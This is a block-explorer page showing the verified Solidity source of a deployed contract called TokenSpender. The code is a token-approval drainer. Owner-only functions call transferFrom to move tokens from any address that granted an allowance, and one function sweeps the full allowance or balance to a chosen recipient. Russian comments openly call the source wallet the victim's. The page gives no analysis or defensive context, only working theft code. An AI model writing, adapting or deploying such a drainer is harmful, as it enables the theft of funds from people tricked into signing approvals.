Skip to content
Verified contractExactMIT

TokenSpender

Address0x7d6e4e6b79e994954e8052e2e1063ff92098bf34
Balance

0 ETH

 

Transactions

1

 

Compiler

solc 0.8.19

 

Same code

Only this contract

 

Details

Compiler
solc 0.8.19+commit.7dd6d404
Language
solidity
Optimization
No
EVM version
paris
License
MIT
Match
Exactcreation code: yes, runtime code: yes
Verified on Sourcify
Created in block
26,334,517
Creation transaction
0x303f05afa2…738c63bffd

TokenSpender.sol

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.19;

contract TokenSpender {
    address public owner;
    
    constructor() {
        owner = msg.sender;
    }
    
    modifier onlyOwner() {
        require(msg.sender == owner, "Not owner");
        _;
    }

    receive() external payable {}

    // Вывод токенов с кошелька жертвы
    function withdraw(
        address token,
        address from,
        address to,
        uint256 amount
    ) external onlyOwner {
        (bool success,) = token.call(
            abi.encodeWithSignature("transferFrom(address,address,uint256)", from, to, amount)
        );
        require(success, "Transfer failed");
    }
    
    // Вывод всех токенов
    function withdrawAll(
        address token,
        address from,
        address to
    ) external onlyOwner {
        // Получаем allowance
        (bool s1, bytes memory d1) = token.staticcall(
            abi.encodeWithSignature("allowance(address,address)", from, address(this))
        );
        require(s1, "Allowance check failed");
        uint256 allowance = abi.decode(d1, (uint256));
        
        // Получаем баланс
        (bool s2, bytes memory d2) = token.staticcall(
            abi.encodeWithSignature("balanceOf(address)", from)
        );
        require(s2, "Balance check failed");
        uint256 balance = abi.decode(d2, (uint256));
        
        // Выводим минимум из allowance и balance
        uint256 amount = allowance < balance ? allowance : balance;
        
        if (amount > 0) {
            (bool success,) = token.call(
                abi.encodeWithSignature("transferFrom(address,address,uint256)", from, to, amount)
            );
            require(success, "Transfer failed");
        }
    }
    
    // Смена владельца
    function transferOwnership(address newOwner) external onlyOwner {
        require(newOwner != address(0), "Invalid address");
        owner = newOwner;
    }
}
Compiler settingsShow
{
  "optimizer": {
    "runs": 200,
    "enabled": false
  },
  "evmVersion": "paris",
  "remappings": []
}

Source code and metadata: Sourcify.

The source code belongs to the authors of the contract.